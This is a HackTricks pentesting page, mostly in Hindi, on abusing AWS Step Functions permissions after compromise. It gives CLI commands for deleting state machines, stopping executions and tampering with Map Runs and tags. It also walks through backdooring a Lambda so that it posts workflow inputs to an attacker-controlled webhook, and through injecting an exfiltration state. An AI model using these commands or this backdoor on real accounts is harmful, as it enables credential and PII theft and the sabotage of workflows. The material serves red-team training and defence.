AWS - Step Functions पोस्ट-एक्सप्लॉइटेशन

Reading time: 7 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Step Functions

इस AWS सर्विस के बारे में अधिक जानकारी के लिए देखें:

AWS - Step Functions Enum

states:RevealSecrets

यह permission execution के अंदर secret डेटा को प्रकट करने की अनुमति देता है। इसके लिए, Inspection level को TRACE पर सेट करना और revealSecrets पैरामीटर को true पर सेट करना आवश्यक है।

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias

इन permissions वाले attacker स्थायी रूप से state machines, उनकी versions, और aliases को delete कर पाएगा। इससे महत्वपूर्ण workflows बाधित हो सकते हैं, डेटा हानि हो सकती है, और प्रभावित state machines को recover और restore करने में काफी समय लग सकता है। इसके अतिरिक्त, यह attacker को उपयोग किए गए ट्रैक को छिपाने, forensic जांचों को बाधित करने, और आवश्यक automation प्रक्रियाओं और state configurations को हटाकर संचालन को संभावित रूप से प्रभावित करने की अनुमति देगा।

note

  • एक state machine को delete करने पर आप उसके सभी associated versions और aliases भी delete कर देते हैं।
  • एक state machine alias को delete करने पर आप उस alias को संदर्भित करने वाली state machine versions को delete नहीं करते।
  • उस state machine version को delete करना संभव नहीं है जिसे वर्तमान में एक या अधिक aliases द्वारा संदर्भित किया जा रहा हो।
bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
  • Potential Impact: महत्वपूर्ण वर्कफ़्लोज़ में व्यवधान, डेटा हानि, और परिचालनिक डाउनटाइम।

states:UpdateMapRun

इस अनुमति वाले एक हमलावर के पास Map Run की failure configuration और parallel setting में हेरफेर करने की क्षमता होगी, जिससे वह अनुमत child workflow executions की अधिकतम संख्या बढ़ा या घटा सकेगा, और इससे सेवा के प्रदर्शन पर सीधे प्रभाव पड़ेगा। इसके अलावा, हमलावर tolerated failure percentage और count में छेड़छाड़ कर सकता है, इसे 0 तक घटा सकता है ताकि हर बार कोई आइटम फेल होने पर पूरा Map Run फेल हो जाए, जिससे state machine execution सीधे प्रभावित होगा और संभावित रूप से महत्वपूर्ण वर्कफ़्लोज़ बाधित हो सकते हैं।

bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
  • Potential Impact: प्रदर्शन में गिरावट और महत्वपूर्ण वर्कफ़्लो का व्यवधान।

states:StopExecution

यह अनुमति रखने वाला attacker किसी भी state machine के execution को रोक सकता है, जिससे चल रहे वर्कफ़्लो और प्रक्रियाओं में व्यवधान होगा। इससे लेनदेन अधूरा रह सकता है, व्यावसायिक संचालन रुक सकते हैं, और डेटा भ्रष्ट होने का जोखिम हो सकता है।

warning

यह कार्रवाई express state machines द्वारा समर्थित नहीं है।

bash
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
  • संभावित प्रभाव: चालू वर्कफ़्लो में व्यवधान, ऑपरेशनल डाउनटाइम, और संभावित डेटा भ्रष्टाचार।

states:TagResource, states:UntagResource

एक हमलावर Step Functions संसाधनों से टैग जोड़, संशोधित, या हटाकर आपकी संस्था के लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित एक्सेस कंट्रोल नीतियों को प्रभावित कर सकता है।

bash
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

संभावित प्रभाव: लागत आवंटन, संसाधन ट्रैकिंग, और टैग-आधारित एक्सेस नियंत्रण नीतियों में व्यवधान।


states:UpdateStateMachine, lambda:UpdateFunctionCode

एक हमलावर जो निम्नलिखित अनुमतियाँ रखने वाले उपयोगकर्ता या भूमिका को समझौता कर ले:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}

...अंजाम दे सकता है एक उच्च-प्रभावी और गुप्त post-exploitation attack Lambda backdooring और Step Function logic manipulation को मिलाकर।

यह परिदृश्य मानता है कि पीड़ित AWS Step Functions का उपयोग उन वर्कफ़्लोज़ को orchestrate करने के लिए करता है जो संवेदनशील इनपुट को प्रोसेस करते हैं, जैसे कि credentials, tokens, या PII।

उदाहरण पीड़ित invocation:

bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim

यदि Step Function को LegitBusinessLogic जैसे Lambda को invoke करने के लिए कॉन्फ़िगर किया गया है, तो हमलावर दो stealthy attack variants के साथ आगे बढ़ सकता है:


Lambda function को अपडेट किया गया

हमलावर Step Function द्वारा पहले से उपयोग किए जा रहे Lambda फ़ंक्शन (LegitBusinessLogic) के कोड को संशोधित करता है ताकि input data को चुपचाप exfiltrate किया जा सके।

python
# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
bash
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker

Step Function में एक Malicious State जोड़ें

वैकल्पिक रूप से, attacker Step Function definition को अपडेट करके workflow की शुरुआत में एक exfiltration state इंजेक्ट कर सकता है।

malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker

The attacker और भी चुपके से state definition को कुछ इस तरह अपडेट कर सकता है { "Comment": "Backdoored for Exfiltration", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } where the victim won't realize the different


Victim Setup (Context for Exploit)

  • A Step Function (LegitStateMachine) संवेदनशील user input को प्रोसेस करने के लिए उपयोग किया जाता है।
  • यह LegitBusinessLogic जैसे एक या अधिक Lambda functions को कॉल करता है।

संभावित प्रभाव:

  • संवेदनशील डेटा का silent exfiltration, जिसमें secrets, credentials, API keys, और PII शामिल हैं।
  • workflow execution में कोई दिखाई देने वाली त्रुटियाँ या विफलताएँ नहीं होंगी।
  • Lambda code या execution traces का auditing किए बिना पता लगाना मुश्किल।
  • यदि backdoor code या ASL logic में बना रहता है तो long-term persistence सक्षम हो सकती है।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें